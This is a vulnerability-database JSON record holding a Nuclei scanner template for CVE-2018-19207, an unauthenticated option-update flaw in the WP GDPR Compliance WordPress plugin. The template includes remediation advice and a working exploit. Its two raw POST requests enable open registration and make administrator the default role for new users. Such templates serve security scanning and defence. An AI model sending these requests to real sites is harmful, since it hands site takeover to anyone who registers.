{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-19207/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-19207/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-19207/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-19207/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-19207/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-19207"},"sightings":{"href":"/api/v1/sightings/cve-2018-19207"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-19207.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-19207\n\ninfo:\n  name: WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option\n  author: iamnoooob,pdresearch\n  severity: critical\n  description: |\n    The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.\n  impact: |\n    Unauthenticated attackers can execute any action and update any database value, potentially creating admin accounts, modifying site configuration, or achieving remote code execution.\n  remediation: |\n    Upgrade to WP GDPR Compliance version 1.4.3 or later, or remove the plugin if no longer needed.\n  reference:\n    - https://wpvulndb.com/vulnerabilities/9157\n    - https://github.com/aeroot/WP-GDPR-Compliance-Plugin-Exploit\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-19207\n    cwe-id: CWE-425\n    epss-score: 0.88065\n    epss-percentile: 0.99759\n    cpe: cpe:2.3:a:van-ons:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*\n  metadata:\n    vendor: van-ons\n    product: wp-gdpr-compliance\n    framework: wordpress\n    publicwww-query: \"wp-content/plugins/wp-gdpr-compliance/\"\n    verified: true\n  tags: cve,cve2018,wordpress,wp-plugin,wp-gdpr-compliance,rce,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n    redirects: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        regex:\n          - 'var wpgdprcData.*\"ajaxSecurity\":\"([a-z0-9]+)\"'\n        group: 1\n        internal: true\n\n  - raw:\n\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpgdprc_process_action&security={{nonce}}&data={\"type\":\"save_setting\",\"append\":false,\"option\":\"users_can_register\",\"value\":\"1\"}\n\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpgdprc_process_action&security={{nonce}}&data={\"type\":\"save_setting\",\"append\":false,\"option\":\"default_role\",\"value\":\"administrator\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - '\"message\":\"\"'\n          - '\"error\":\"\"'\n        condition: and\n\n      - type: word\n        part: content_type_2\n        words:\n          - 'application/json'\n# digest: 4b0a00483046022100f41b1dd83db6393b423622a867a3abe6399bd9baf60ca8f767c70ab1c6db79ff022100bb396ec7af15ff0ace21d38030476286183187cbed39fd822546b62718120c8c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2018-19207"}